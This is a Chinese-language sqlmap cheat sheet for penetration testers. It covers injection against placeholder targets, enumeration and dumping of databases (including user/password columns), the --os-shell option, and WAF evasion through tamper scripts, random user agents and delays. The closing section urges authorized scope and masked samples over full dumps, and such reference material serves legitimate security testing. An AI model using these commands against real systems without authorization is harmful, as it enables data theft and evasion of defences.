sqlmap
命令速查,按「从确认到取证」的顺序排,不是按字母排。
起手式
# 最稳的方式:从 Burp 导出的请求文件读
sqlmap -r req.txt --batch
# 指定注入点(多个参数时)
sqlmap -r req.txt -p id --batch
# 直接给 URL,用 * 标注入点
sqlmap -u "https://target/news?id=1*" --batch
# POST 请求
sqlmap -u "https://target/login" --data="user=a&pass=b" --batch
# 需要登录
sqlmap -u "https://target/api?uid=1" --cookie="SESSION=xxx" --batch
--batch 让所有交互选默认值,不加会一直卡在询问上。
拿数据
按顺序,够用就停:
--current-db # 当前库
--current-user # 当前用户
--is-dba # 是不是 DBA
--dbs # 所有库
-D db --tables # 指定库的表
-D db -T users --columns # 字段
-D db -T users -C user,pass --dump # 取数据
-D db -T users --dump --start 1 --stop 10 # 只取前 10 条
--is-dba 为真的时候,--os-shell 才有意义。这个判断很多人跳过,白跑一堆参数。
控制强度
--level=1~5 # 1 默认,3 测 UA/Referer,5 测所有 header
--risk=1~3 # 1 默认,3 含 OR 型注入(可能改数据)
--threads=5 # 并发
--technique=U # 只测联合注入,最快
--technique=BEUST # 指定技术组合
生产环境别开 --risk=3。OR 型注入的探测语句可能真的改到表里的数据。
绕 WAF
--tamper=space2comment # /**/ 替换空格
--tamper=between # 用 between 替换 >
--tamper=charencode # URL 编码
--tamper=randomcase # 随机大小写
--tamper=base64encode # base64 编码参数
--random-agent # 随机 UA
--delay=1 # 每次请求间隔
--proxy=http://127.0.0.1:8080 # 走代理
多个 tamper 可以串联:--tamper=space2comment,randomcase。串联顺序会影响效果,试不出来就换顺序。
WAF 拦截的时候,加 -v3 看 sqlmap 实际发了什么请求,对比正常请求的差异,比盲试 tamper 快。
常见报错
[CRITICAL] connection dropped:连接被断。加 --keep-alive,或者 --delay。
all tested parameters do not appear to be injectable:可能真没有,也可能被 WAF 拦了。先加 --level=3 --risk=2 再试一次,还不行就手工确认。
HTTPS 站点超时:加 --force-ssl。
跑一半卡住:--flush-session 清缓存重来。缓存里存了上次的判断,环境变了会误判。
一条纪律
--dump 之前停一下。
证明「能读到数据」和「把数据拖下来」是两件事。前者是测试结论,后者是数据泄露——哪怕数据在你手上只停留了五分钟。
授权测试里,看表结构、取一条脱敏样本,足够写报告。真要取全量,先确认授权书里写了,且客户的数据处理条款允许。
参考
- 《sqlmap 最新版命令翻译(劝退指南)》,公众号存档
- 《sqlmap(附手工注入绕 WAF)实战 SRC 使用方法》,公众号 信安一把索